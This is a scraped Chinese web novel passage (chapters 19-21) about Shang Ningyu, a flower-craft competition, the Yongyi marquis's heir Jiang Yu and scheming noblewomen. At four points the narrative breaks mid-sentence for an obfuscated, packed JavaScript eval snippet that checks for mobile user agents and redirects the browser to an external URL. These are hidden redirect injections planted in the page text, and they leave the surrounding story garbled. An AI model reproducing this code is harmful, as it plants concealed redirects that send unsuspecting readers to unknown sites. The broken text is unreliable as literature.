只见满园生春,学馆廊庑皆以五色绒花精心编织的四季花卉雕饰,门庭处红梅傲雪栩栩如生,厅堂内的牡丹竞艳几可乱真,梁上紫藤流苏与窗外的玉树琼枝相映成趣,端的是巧夺天工,美不胜收。 银装素裹与百花争妍竟齐齐出现,毫不违和,反倒因给寒冬平添了诸多颜色而生出暖意。 不多时,商明菁就寻到了昔日好友,与二姐妹分道扬镳,再到垂花门,商明惠也要去寻先生叙话,便也离去,唯剩商凝语带着商凝言游园。 二人逛到广角亭边,遇到孙苗苗携着兄长前来,两位男生都在对方眼中看到拘谨,见到彼此,一见如故,没一会儿就交谈起来。 孙苗苗第一次见到商凝言,拉着商凝语在一旁唏嘘,“你跟你哥哥还真是像,就没人给你们搞混过?” 商凝语压着嗓子跟她窃窃私语,“小时候我就喜欢女扮男装让人家猜谁是谁。” “真的?”孙苗苗来了兴致,“改明儿,你给我露一个,我要看看你男装什么样子。” 商凝语作沉思状,“下次去酒楼,你请客的时候,我传给你看。” “好好好。”孙苗苗面露欣喜。 商凝语连忙竖起一根手指在唇边,低声道:“小声点,别让我哥听见。”而后又感慨,“小时候还行,后来长大了一玩就穿帮,就不玩这套了。” “为什么?”孙苗苗疑惑,“你要是假扮,我肯定看不出,你们一家人都好像,我看你四姐姐跟你也很像,尤其是这里。” 她横手在鼻尖,另一手横在额头,比划道。 商凝语嘻嘻笑,指着脖颈道:“我哥这里有颗痣,领子遮不住,一眼就能认出,假扮还有什么意思?” 二人说话间,商凝言和孙家兄长相见恨晚,已经恨离别到不得不另择一佳地好好切磋切磋文笔了。 但孙苗苗还有事,也提前走了,便只剩下商凝语沿着假山乱石欣赏那些几可以假乱真的绒花。 她将每一种绒花都记在心里,沿着花蕊构思遐想,看完一圈,每种绒花的制作手法都有了雏形,然而,理论与实践总还是差着点距离的,若需成型,还得历练。 不知不觉,就到了一个四下无人的梅园,庭园里,梅花盛开,红艳艳地,垂挂枝头。 江昱走到园中才发现,自己竟然迷路了,心里将谢花儿骂了个狗血淋头。 半个时辰前,他甩脱了几名陪同管事,远离那片五彩缤纷的绒花园,往这边人迹稀少的地方而来。 跟随的谢花儿还在不断聒噪。 “哎呦,我的小左,都快断了,还要跟着主子乱跑,可怜你了呦,主子也不心疼。”谢花儿一瘸一拐,一面觑着主子的脸,一面掩面作涕,佯装道。 眼角主子脚步不停,丝毫没有怜悯,又卖惨道,“其实主子也心疼,可惜啊,有心无力啊,谁叫主子的主子不近人情!是个铁石心肠的!您也别怨,下辈子生到别人身上去,保准叫你一日三餐铁打不动!” 江昱手指玉骨骰,大步流星往前走,姿态潇洒,扬声道:“谢花儿,赶明儿爷给你送去城南楚馆,叫你唱念作打,在戏台上唱个够。” “那哪成?”谢花儿精神一抖,配合地喊,忽见走势方向似乎不对,连忙拉住他衣袂,急得连声音都变了回来,道:“爷儿,咱真不能再走了,再走刘管事真真就告诉长公主去了。” 江昱嗤,拽了袖子就要走,却被谢花儿拼命扯住衣衫。 谢花儿使了全身力道,一口气嚷道:“刘管事真没揭发,就跟长公主说了,长公主发了话,说您要是再胡作非为引着馆里学生不好生向学,就派人送你去侯爷那,从今往后都不能再踏入京城半步。” 江昱一愣,低头看着抱他腿的谢花儿。 谢花儿看着他,频频点头,目光恳切,“这是我亲耳听见的,长公主还说,叫刘管事千万别告诉你,你要是阳奉阴违,她就当没生过你这个儿子。” 江昱怔忪,恰在这时,院门外传来动静,跑来的是白家的家丁。 见到江昱,家丁又急又喜,连忙问:“江世子,请问可有见过我家少爷?” 江昱眉头一皱,道:“没有。” 家丁见他是自家少爷好友,顾不上隐瞒,开口请求,“我家少爷不知去了哪里,不知江世子能否帮忙......去找找?” 家丁什么理由也没说,但一脸隐忧,又好似什么都说了。 江昱神色一僵,道:“我去园子里找,你们也多派些人去找找,别声张。” 谢花儿还想拦,江昱揉了揉额头,将他一脚踢趴在山石上,丢下一句:“在这等着。”便折返回了园子。 可这个园子是习艺馆为了增添新意,重新布置的园子,别说商凝语这种初来不久,略微熟悉的学生,就连商明惠,也不一定能走通,江昱又怎可能在这里寻人?更何况,他还要躲人,不多时就迷路了。 寻了一圈,发现又绕了回来,他又换了个方向,幸好,在转角处,遇见前方假石上坐着的一位女娘。 女娘身着一身烟霞色长裙,外披织金妆花的胭脂斗篷,云鬓斜簪一支绒雪柳步摇,浅显装扮,清丽脱俗。 他心中一松,目光锁在女娘身上,提步朝她走去。 此女他认识,正是那日马球会上遭他奚落,后在画舫上将他比作狐狸的忠勤伯府七娘子。 嘴里抹了毒的小娘子。 不过没关系,他依稀还记得,那日,这位小女娘被他的容貌折服,整整觊觎了他一日,若非他早已习惯这样的目光,否则还当真要被这个胆大冒犯的姑娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362108|183732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惹怒。 那天那样一说,也算是给了这小女娘一个教训。 她回敬一嘴,他们二人扯平,今日再去问路,她应当心花怒放。 他走近,忽然见女娘抬起手臂,芊芊玉指抚上红梅枝梢,她微微踮起脚尖,阖目轻嗅,皎白玉容与红蕊花瓣相映,恰似白宣上晕开的朱砂一点。 唇不点而朱,颊不染而绯,衬得那冰肌玉骨,竟比身旁傲雪红梅更添几分绝世艳光。 这一刻,轻颤的眼睫,粉润的面颊,在这玉砌冰雕的天地间,以绒花妆点的背景里,都显得格外动人心魄。 江昱脚步顿了一瞬。 犹疑了片刻,终是对好友的担心占了上风,继续朝前走去,拱手客气道:“这位娘子......” 就见小娘子吓了一个机灵,浑身一耸。 如花丛惊兔,反应得毫不做作。 江昱:“......” 商凝语正心生感慨,这假花还是不如真花好,芳香馥郁,要说遵从时令,当然还是应该选择梅花来得好。忽然就听见身后来了这么一声,她吓得浑身一颤,连梅枝也松开了。 梅枝上尚存残雪,这样一弹,碎雪纷飞。 商凝语一不小心撞到身后假石,脚下一个踉跄,身子一歪。 江昱下意识抬首欲扶,却见佳人底盘十分稳健的回正,仅仅轻轻一晃,便站直了。 他眉头一挑,收回了手。 商凝语这才看清面前男人,眉清目秀,额间饰一抹玉额,哦,是那位世子。 她左右望了望,这才确定方才这位世子是在与自己说话,想了想,先屈膝行礼,“见过世子。” 江昱颔首,心道,果然还是记得的。 “商娘子请起。” 商凝语起身。 而后,心想,他方才说什么来着? 他是不是应该礼貌地,再重复一遍? 很自然地,她抬头。 江昱姿态随意,环视一周,发现这里虽然偏僻,但环境幽美,确实是个好去处。 他等了半响没听到回答,不由得皱眉,低头看向面前小娘子,却见小娘子抬着眸,正用疑惑又严肃的眼神,直愣愣地看着他。 商凝语双眉紧锁,她方才虽然没听清,但好歹听出是一句问话。 她想问个明白,却见此人眼高于顶,露出个修长的脖颈对着她,左右张望,露出的脸的确是一圈无死角,轮廓分明如鬼斧神工。 但有人问话是这个态度吗?! 商凝语满心不耐,准备开口询问,却见江昱皱起眉,后退一步,不屑道:“不用你送,你告诉我出去的方向,我自会自己走。” 哦,原来是问路。 商凝语面色恢复寻常,指着去路方向,说明了几句。 江昱将左拐右拐的路记住,点头道:“多谢。” 商凝语低头颔首,回:“不客气。” 江昱看了眼她乌黑的头顶,转身离去,走出十几步,即将消失在雪路尽头时,他忽然回头。 本以为那位小女娘定在背后偷偷瞧他,不料雪地来路,已经空无一人。 他微微一愣,转身离去。 19. 第 19 章 江昱在梅林出口寻到了被程玄晞抓住的白池柊,与程玄晞对视一眼,二人一左一右架住白池柊,齐力带进旁边的角亭。 在二人严刑逼供下,白池柊一脸茫然,问清缘由后,哭笑不得,再三说明自己只是东西落下了,回去监学里取了一趟,并非偷藏某个角落,偷窥艺馆女生。 但二人叫他将东西拿出来以证清白,他又开始支支吾吾,二人根本不信,好一顿轮番训斥。 “这是女学,多是有头有脸的贵女,岂是你照猫画虎的地方?闹出事,你以为就像那楼里的姑娘们,哭一哭,闹一闹,任你好言几句就能过去?这是要出人命的!” “别说你的画都找不到原型,谁说一定要相貌一样才能找到原型?这是世人都不知晓春山先生是谁,要是知晓春山先生是你,你可知后果?你当真要老大人再气吐血?” “往日,我二人没少帮你,你说没有灵感,我斥巨资让你去醉春楼一宿,替你在画舫上办了一场烟花盛宴,你说要有少女的矜持,我带你去马球会看看正经的贵女风姿,你要是再给闯了祸,我就把你那些画全烧了!” 白池柊又是告饶,又是赔罪,又是委屈,真心诚恳表示自己冤枉。 江昱和程玄晞二人更是恼恨,想他们风流倜谠,光明磊落,怎么就结交了这么个损友! 逮着人又是一顿教训。 角亭四周,山石环绕,大小不一,还有松竹点缀,沿路石径道上的积雪都已清扫干净,露出锃亮光洁的石板,倒映着虚晃的枝丫。 白璎珞一路寻来,远远地瞧见亭中另外二人,红了脸,掉头就走。 白池柊眼尖,立刻瞧见自家小妹,连忙喊:“小妹,等等。”他向两位好友拱手告饶,“你们等等再训,我马上回来。” 说着跑出亭子,不忘回头叮嘱,“你们就在这儿等我。” 白璎珞冷着小脸,撇开头不愿看兄长。 角亭里的视线如影随行,白池柊侧身挡住,从怀里拿出一本书,递到白璎珞面前,嗫嚅道:“上次是我不对,喏,这是我弄来的珍本,你偷偷看,别被人发现了,看完再还我。” 白璎珞目光闪烁,原本想矜持着,但又把持不住,嗖地一下将书抱进了怀中,溜烟跑了。 白池柊抹了抹额间的汗珠,松了口气,回到角亭,正见二位好友一立一坐,双手抱胸,好整以暇地看着他。 白池柊一哂,正待说什么,忽然见二人齐齐面色一变,朝他身后望去,他转头一看,只见小妹竟去而复返。 白璎珞双手抱怀,脚步匆匆,行至角亭边,说了一句:“公主来了,哥,你帮我挡挡。”然后朝着角亭另一条路跑去。 亭中三人也齐齐变色,今日受邀到艺馆的公主只有一位,先皇后独女。 先皇收生下一儿一女,儿子便是即将回京的禹王,而女儿便是这位华阳公主,自从禹王离京后,皇上对这位嫡女极尽宠爱,以至于这位华阳公主格外刁纵任性,年过二十,依旧没有招选驸马,倒是府里的面首,从未断过。 有传闻说她相中了江昱的相貌,看中了程玄晞的家世,可惜二人不能合一,最要命的是,她是除三人之外唯一知晓白池柊癖好的“外人”,妥妥地捏住了三人的七寸。 听了白璎珞的话,江昱蹙眉望向来路,果真瞧见一抹华丽身影从山石后晃过,紧随其后还有一群粉钗衣裙。 再逃已是来不及,不作他想,三人动作一致,朝角亭一侧的假山后躲去。 山石巨大,四周一片皑皑积雪,堪堪可遮掩三人,三人配合默契,跳跃时互相借力,只落下两道相距较远的浅浅脚印,轻易叫人不能察觉。 华阳公主仪态翩跹,众星捧月,优雅地走出来,身后跟着正是商明菁等人,其中不乏那日参加国公府马球会的贵女们。 不知是谁提议:“我们去亭子里歇息片刻吧?” 华阳公主逛了半日园子,也确实觉得有些累了,便依她提议,率领众人往亭子里走去,亭子里布置馨雅,栏杆座椅上全置了绒垫,倒也不至于冰凉。 几人纷纷落坐,围着今日花展,轮番称赞。 华阳公主眉目舒展,欣赏美景之余,与众女对话一二,忽然想起一事,瞧向商明菁,道:“听说你家七妹妹回京了,你们相处得如何?” 商明菁明艳的眉眼瞬间暗淡,嘴角露出苦涩。 华阳公主见状,问:“怎么了?” 与商明菁很是要好的程娘子,自是知晓一些缘由,今日正巧,也随行而来。 见好友似乎还想维护那位妹妹,面露不忍,道:“公主有所不知,这位七娘子可是个手段高明,城府极深的人,菁姐姐多和善的一个人,如今都不愿与她来往。” “哦?”华阳公主眉头一挑,疑惑地问,“她做了什么?” 其中同行女娘也有未曾听闻伯府内事的,闻言无不竖耳旁听,程娘子不便多说,面露为难。 云娇却恨不得让京中所有贵女都知晓兰馨院那位的本性,上前屈膝,垂首道:“请公主原宥,娘子顾念姐妹情深,不愿让众位娘子看了七娘子笑话。” 她如此一说,更是让人心痒痒,华阳公主嘴角噙着冷笑,道:“你家娘子顾念姐妹,你要替你家娘子考虑,说来与我们听听,若馆中当真有品行不端的人,本公主自是可以管一管。” “云娇,不得无礼。”商明菁呵斥。 云娇咬唇隐忍,见状只好后退...... 华阳公主面露不耐,道:“叫你说你就说,一个侍女,连主子都护不好,要你舌头何用?” 云娇浑身一颤,华阳公主的嚣张跋扈在贵女中很是出名,听闻宫女内监死在华阳宫中最多,割人舌头绝对不是随口一说。 顾不上推诿了,连忙倒豆子似的说了出来,“七娘子刚回府时,见我家老爷在朝堂得势,便巴结上我家娘子,日日和我家娘子形影不离,阿谀奉承,嘴巴跟抹了蜜似的。我家娘子当她是好姐妹,吃穿用度,样样与她分享,谁曾晓,一场马球会过后,七娘子就瞧中了国公府的门第,转眼就将我家娘子抛诸脑后,与四娘子一起,冷落我家娘子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370350|183732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “上次,勇毅侯世子说了七娘子一句,我家娘子实话实说,将事情告诉了老夫人,不过是担心她因怨生恨,对上勇毅侯世子,不料她因此反倒记恨上我家娘子,还,还当面辱骂我家娘子,污言秽语,都是乡下粗鄙之言,婢子就是学,都学不过来。” “她又惯会讨巧,抄了几本经书讨了老夫人喜欢,老夫人便也觉得我家娘子不容人,几次点拨娘子,娘子自是知晓老夫人拳拳之心,只得多番忍让,这才让府内保持平和,没至于闹得人尽皆知。” 众女闻言,无不惊叹唏嘘,打抱不平起来。 “那日世子所言乃是事实,凭何怪罪到你身上?” “就是,这也太不讲道理。” “就是乡下来的,才蛮横无理。我瞧她那日马球打得也是粗鄙,若非是她,咳,就她那样,能拿个第三也是点了香拜了菩萨。” 程娘子感叹:“这七娘子外表柔善可欺,可行的都是下作手段,众位姐妹遇上,可千万小心,别被她当众下了颜面。” 商明菁手执绣帕揾泪,遮住微微扬起的嘴角,道:“多谢众位姐妹好意,倒也不必如此,我只是心伤,她表面与我知心相交,实则貌合神离,转变之快,令人措手不及。” 众人又是一阵唏嘘,轮番劝慰上。 华阳公主觑了眼商明菁,冷笑:“你们这么多人,明日花卉赛不是就有她?让她当众出丑,这还不容易?” 众女眼前一亮,觉得此法可行,商明菁嘴角微微扬起,面上一阵迟疑,又是一翻推诿。 她在很早之前就发现了,华阳公主飞扬跋扈,势头正盛,实则外强中干,在宫中还要看贵妃的脸色,知晓他们伯府深得帝妃器重,次次主动替她解围。 众女自然不依,强烈表示要教训这个乡下来的女娘,又坐了片刻,江昱三人脚蹲麻了,方才见众女陆续离去。 待四周一片寂静,程玄晞拍了拍江昱的肩胛,道:“现在知晓了吧,你害了人家姑娘。” 江昱斜了他一眼,哼了一声,“与我何干?没听见她们说,她是想巴结你。” 程玄晞一噎,不可置信:“你是如何听出这个意思?” 白池柊一脸木然,他觉得,二人都有道理。 江昱倏地拎起他的胳膊,道:“走,明日开馆,你甭想再来。” “走走走。” 终于,人去亭空,天地恢复一片寂静。 松竹丛上,三两只燕雀在枝头叽叽喳喳,蓦地鸣声乍起,振翅潜空。 商凝语扭动着脖子,只听里面骨头咯吱作响,又将双手交叉抻到头顶,左右松散浑身筋骨。 坐了这么一会儿,已是浑身僵硬。 她也没想到,只是冬日暖阳下躲个懒,就听了一耳朵的官司。 她仰头,沐浴在煦阳里,惬意地眯了眯眼,神清气爽,她终于知道,那副画的原主是谁了。 那个人的脖颈,修长,纤细,吞咽时,喉间山峦起伏,透着某种不可言喻的力量,在艳阳高照的雪地里,白得发光。 20. 第 20 章 花卉赛在艺馆前院的一间可容纳数十人的大教室内举行,朔风初凛,馆内却暖意如春,四壁烛台高擎,映得雕梁画栋金碧辉煌。 馆主满面春风,与国子监司业互相客套后,便介绍起今日参赛者身份。 赛事简单,十名女娘分成五组,抽签决定顺序,每一组轮番上台制作,在一个时辰内完成,考官依次打分并作出评价,最终以最高分获胜。 有了昨日那一出,商凝语已经能预料今日她即将面对的惨状。 不过,她根本没在怕的。 在场之人并非全是碌碌无为之辈,也有业内泰斗人物专门评价制作工艺,要是那几个人敢揪着工艺胡说八道,她简直做梦都要笑醒。 大概也就是鉴赏一道,要容忍一些,因此,她格外注意前往者评众中,都有谁能切中肯綮,说些实用的公道话。 她不怕阴鸷伎俩,就怕虚头八脑地,一圈下来一无所获,别管其他人作何想,她进习艺馆,是为了学本事! 绒花在京城一带盛行如风,但她在岭南从未听说过绒花,若将来能走出这片天,她也希望能将这些艳丽的颜色介绍给更多的人瞧。 考官一共有六位,三男三女,其中就有花卉课的女先生,另二名女子应是去年魁首,男子这厢,很惊讶,竟然有江昱,另一位是程家三表哥,还有一位,是乔家公子,乔文川。 宫里的乔贵妃正是此人的嫡亲姐姐。 除了考官,还有其他贵女公子作陪,商凝语瞧见了商凝言、孙苗苗的兄长、白璎珞的那位哥哥,还有一位略感面熟的女子。 赛事开始,商凝语抽中了第一签,不算好,无法事先得知哪位先生能坐到公平公正。 更悲催的是,与她同组的是白璎珞。 简单作了自我介绍后,开始动手,时间短,劈丝晕染都已提前备好,今日要做的是让绒花成型,再做搭配。 她抱着匣子上台,将其中东西一一摆出,而后拿出丝绒析出的百缕银线,捻转缠绕,指节翻飞,很快,五枚玉雕冰凿的花瓣成型。 而那厢,白璎珞正用二十七色褐线捻成枯叶,枝叶微卷,栩栩如生。 台下考官左右交谈,轻声点评。 到底是君子,程玄晞不愿盯着几位女娘瞧,转首见那位素日更加顽劣的乔文川也是撇开眼睛。 再回过头,哦豁,却见好友竟盯着台上,目不转睛。 他干咳一声,半掩嘴唇,倾身道:“你就算觉得抱歉,也别挑这个时候,给子山妹妹留点面子。” 白池柊,字子山。 江昱眉头一蹙,没理他,却也撇开了目光。 时辰到,二女同时放手,商凝语放下方牌,上着四个字:《落梅惊鸿》。 以盆为底,墨絮支虬枝,再以铜丝裹褐绒,曲铁折金,拗出被风压弯的遒劲曲线。长枝四向延申,以白絮作雪,铺上枝头,皑皑一片,再以近十粒米珠大小的红梅花苞点缀,傲雪红梅犹如浑然天成。 最妙的是,枝头以肉眼难辨的琉璃丝,系住五朵红梅花萼,以坠金摇玉之姿悬在空中,制成雪中惊鸿一瞥。 白璎珞制作的是一盆《残荷听雨》,灰褐色莲蓬在水中颤颤,琉璃焙炼出的朦胧之光缀在荷叶上,犹如万千雨滴,意境优美,韵味十足。 首先点评的是艺馆先生,说《落梅惊鸿》:“以金丝盘成冻蕊,而瓣脉以银线勾冰纹,颜色搭配很合适,构思也很巧妙,最下朵这则花瓣选的是瓣缘卷曲的残花,触地之瞬,捻出千钧一发的迫切感,很好。” 又点评《残荷听雨》:“形残意全,格高韵胜,白娘子手工精巧,辛苦了。” 仅八个字,却高下立见,轮到男子点评,男子们话不多,率先是乔文川,给了二人相差无几的好评,“白娘子意境深远,而商七娘子构思巧妙,在我这里都是十分。” 程玄晞斜了乔文川一眼,似是有些不满,最后也各给十分。 轮到江昱。 江昱掀了眼皮,在二人花作上各扫一圈,淡道:“白娘子意境不错,工艺逼真,可惜,室内是讲究清心静气之地,残荷落雨秋气萧森,缺了这份心境,商娘子倒是合了天地清朗之气,但炫技斗巧,喧宾夺主,反倒失了梅花风骨,我全给五分。” 底下一阵唏嘘,左右相视对望,就连乔文川,也扬了眉头。 观赏席上,有女娘道:“世子说的没错,商娘子这盆《落梅惊鸿》,我初瞧觉得惊艳,再瞧就觉得有些乏味,仔细想想,原来是哗众取宠,以巧制胜的品物,怪不得。” 江昱皱起眉。 又有女娘柔声细语道:“其实我倒也没觉得惊艳,就是觉得闹腾,我喜欢落英缤纷,也喜欢梅立枝头,或动或静,循规自然,像这样悬蕊空中,倒像是做了个丝线傀儡,失了真气。” “可不是?若是来了一阵风,这梅花岂不是还要围绕枝头打旋?哪来的落梅?我看取名叫群梅乱舞得了。” 众人哄堂大笑。 这就开始了? 商凝语环视一周,眸光平静地看着这群女娘,没有老什子公主,商明菁也没有来,都是一群只有一面之缘甚至从未见过的女娘,仅仅因为一句话,就自以为是的打抱不平,肆意嘲讽。 纵使心有准备,此刻也觉得不可思议。 都是一群打嘴炮的乌合之众,无聊至极。 周先生面露不虞,厉声道:“肃静。” 商凝语并不生气,若是她毫无防备,可能会恼羞成怒,与她们好好理一理论,可她已知前因后果,便觉得无聊,看这群女娘像是看一群跳梁小丑。 平静才是最好的反击。 她等着周先生宣布结束,离开台上。 就在这时,玉面桃花般矜贵世子却不干了。 他扯了嘴角,抓住前方率先开口的女娘,问:“看来这位娘子对花卉一道很有一翻真知灼见,不知娘子去年......抑或是前年,参赛拿的是何作品?” 犹如金鸡被捏住嗓子,程娘子盈盈笑声嘎然而止,愣愣地看着江昱,半响才回神。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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商凝语横扫江昱一眼,心中无语,事态因他而起,他倒是多管闲事,再横插一脚。 下一场终于继续,程娘子以及她的好伴友悄悄离去。乔文川意味不明地扫了江昱一眼,继而专注于台上。 程玄晞悄悄覆手对江昱道:“我瞧着,你这么卖力,商娘子好像并不领你的情。” 江昱掀眸去看,却只看到商凝语决绝离去的背影,他落下眼睫,淡道:“谁要她领情?” 程玄晞:“那你图什么?” 此时,一位女娘端着金匣上台,途径二人面前,金匣之中芬芳四溢,暗香袭来,程玄晞眉头一动,连忙看向江昱。 江昱连打三个喷嚏,才止住鼻尖痒意,道:“不图什么,就是见不得有人坏我名声罢了。” 程玄晞嗤。 江昱扯了嘴角,继续盘着玉骨骰玩。 商凝语落座后抬头,只见台上娘子打开金匣,从里面拿出一串白盈盈的槐花。 此女娘制作花卉,名为《暗香浮动》。 21. 第 21 章 人善被人欺,更何况,商凝语是个睚眦必报的人。 那群女娘高高在上,受人挑唆,她无能为力,但对于商明菁,她觉得还是有必要警告一下。 在回府的马车上,与寒着脸的商凝言说道说道,小公子听完后,面色缓和下来,回府后,二人稍作休整,一同前去观鹤堂请安,恰巧,商明菁此时也在。 未免引起猜疑,商明菁特意没去艺馆观赛,直待晚间兄妹二人回来,见商凝言面色难看,才洋洋自得地掐准时间去观鹤堂请安。 勿须商明菁询问,老夫人就已经开口关心赛事如何,商凝语只说自己已经尽力,结果如何只能等两日后评比才能知晓,轻描淡写地将赛事揭过。 期间,商凝言几次皱眉,似乎有所顾忌,似乎心绪难平受了天大的委屈。 他们兄妹二人这样故意掩盖的样子,更加令商明菁确信,商凝语定是在今日赛场上当众丢了丑,便以商凝言为饵,诱老夫人去查,老夫人关心三房独孙,当即命人去问个究竟,这一问,才知程娘子与勇毅侯世子竟因为七孙女一句话争执了起来。 打探消息的是老夫人身边侍女,能说会道,十分伶俐,却不知其中掩藏玄机,回来后,绘声绘色地,将赛事上众人的话一字不落地复述了一遍。 商明菁目瞪口呆,如何也没料到是这个结果,可还不等她反应,就见老夫人横眉扫了过来,面色阴郁,问:“这位程娘子,是你的那个手帕交?” 商明菁心尖一颤,僵硬地扯出一抹笑,回道:“是,可是祖母明鉴,我也不知她为何为难七妹妹,她或许,是真的以为七妹妹的落梅惊鸿不值一提,起初世子不是也这般说?” 她面带羞涩,“祖母有所不知,程娘子她,心慕世子依旧,跟风吹捧在所难免。” 老夫人颔首点头,“此女心胸狭隘,你以后就莫要再与她来往了,免得带坏了你。” 商明菁一哂,乖巧应声:“是。” 老夫人又似是喃喃自语,疑道:“这位江世子,与我伯府素无往来,为何两次都与七丫头对上了?” 商明菁面色一滞,惴惴不安地看着老夫人。 老夫人看着她,意味不明道:“七丫头心思细腻又敏锐,你莫要与她一般见识。” - 这厢,田氏也从儿子口中得知赛场上的事,健步如飞地回到翠竹堂,在商晏竹面前拍得桌子直颤动。 商晏竹叫她吓得书都掉在地上,没奈何地问:“夫人这又是怎么了?” 田氏猛灌了一口茶水,冰天雪地,刺骨凉茶直入咽喉,却浇不灭她那冒腾腾地火气。 “还能是因为什么?就是那个勇什么侯府的世子,平白无故地,三番两次找呦呦的茬,这满京城的公子哥儿,怎么走哪都有他!” 商晏竹冥思苦想,才从记忆角落里找出这么一家,疑惑道:“你说的是,勇毅侯府?” 田氏横他一眼,不明白他为什么非得确认这一句,她说这么多,难道还不值得他关心女儿一句?还不能让他好奇问一声,发生何事? 商晏竹从妻子眼中看出了肯定答案,也透过冷冷目光,看到了一丝赧意。 垂首干咳一声,笑道:“江瑾弋虽放浪形骸,实则颖悟绝伦,能得他点评,是呦呦的福气,你莫要置气。” “屁的福气,就他做的事,也配称得上福气?什么世家公子,真真玷污了侯府名声。” 商晏竹奇怪,难道还有自己不知道的事发生?田氏这才将上次马球会上女儿徒遭奚落的事情说了。 商晏竹听完,面色讪讪,眼底浮上一丝疑惑,田氏瞪着他,眼见他尤似不信,没好气地问:“怎么,你认得这位世子?” 商晏竹回神,摇了摇头,解释道:“我只在同僚面前听说过他,当年,他还很小,听说他天资聪颖,有过目不忘之能。” 田氏不屑地白了一眼,“这就是太聪明了,才越长越残。” “夫人。”商晏竹无奈喊了声,道,“你便是有火,也只能忍忍,若是侯爷在京,我倒是可以邀侯爷酌一杯,将此事了了,但侯爷不在,总不能到长公主面前说道去。” 田氏也就是发发恼骚,哪能真的闹到外面去,双手合十,祈祷道:“只盼霁哥儿赶紧高中,呦呦远嫁出去,甭再理这些糟心人。” 商晏竹见状,叹息地摇了摇头。 - 商凝语日子过得惬意,赛事三日,馆中停课,但她又因着参赛必须离家到馆,既不用上课,又不用在家接受规训,明目张胆地躲懒。 而一天只能进行两场赛事,一共五场,前两日,商凝语还会礼貌性的去观望,最后半日,索性躲在园子里晒太阳。 前日回去,商凝言脸色阴沉的厉害,后来见她着实不在意,自己也没办法替她讨个公道,只得将此事按捺,此后回到监学,更加勤学苦读。 欲护阖家周全,必先立身凌霄。 这日,是赛事最后一日,晌午过后才能排列名次,宣布赛事结果,上午无事,商凝语来到馆中最深处的清荷池,寻了一处假山洞,攀在半壁上,阖目休憩。 她这个位子正好,山石环抱,恰好挡去肆虐寒风,艳阳高照,金灿灿地阳光落在胸口以下,晒得人暖融融,抬眼便是一池碧水,水上浮冰,风景倒也怡人。 将厚重斗篷对折,缩在里面,垫一半盖一半,简直快活赛神仙。 江昱用过午膳,绕道膳房后舍,沿路消食,此处偏僻,后面就是下人们的住处,与国子监仅有一墙之隔,附近的池塘曾经落水死了一名女子,后来馆中几乎没人再到此地。 下午花会一结束,他就又要回去读书,这是最好的时机,趁着刘管事疏忽大意,翻墙回到监学,保准五天之内都无人能找到他。 正所谓,最危险的地方就是最安全的地方。 他闲庭信步,却不料转眼撞见了一对野鸳鸯,二人正花前日下,苦诉衷肠。 他眉头一皱,不仅是因为二人所立的位置正好是他回监学的必经之路,而且是因为,他认得此二人。 一对狗男女。他折身往旁边小道走去,准备待二人离开,再翻墙回监学。 商凝语昨夜连夜看《天工开物》,又将其中养桑技艺在心里过了几遍,以至于熄灯后酝酿许久才真正入睡,这会儿一觉醒来,看日头大约已经过了午时,得赶紧去寻商凝言,一起用膳。 她脚方一落地,忽听外面传来轻微地窸窣声,一抬头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16381306|183732||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倏地见一人蹿了进来,眉眼英俊不似宵小,但她还是吓了一跳。 对方见到她,也是一愣,但反应极迅速,飞速上前捂住她的口鼻,商凝言惊叫声扼在咽喉,浑身汗毛乍起,旋即抬脚往对方下身踢去。 什么不是宵小,原来是个登徒子。 江昱大吃一惊,痛得浑身冷汗直流,单膝跪地,撑着石壁爬都爬不起来。 他严重怀疑这个女娘故意躲在这里守株待兔,目的就是为了报复他。 眼见睚眦必报的小女娘干了坏事就跑,他想提醒,但已经来不及了。 “是不是这里?”这时,一道女声响起。 商凝语身形一顿,转头疑惑地看向江昱,江昱心知她误会,只能气得牙痒痒。 旋即一道男声响起,“不在,定是你看错了。” 女声似乎松了口气,“可能是野猫,幸好是白天,夜里我根本不敢过来这里。”声如荷露落池,娇媚柔弱。 商凝语默默收回脚,回到假山洞中,看着江昱。 她不是坐以待毙的软弱小女娘,上山抓兔,登树爬高,哪一样不需要身手,方才这一脚,她用了全力,但她也感觉到,他躲开了。 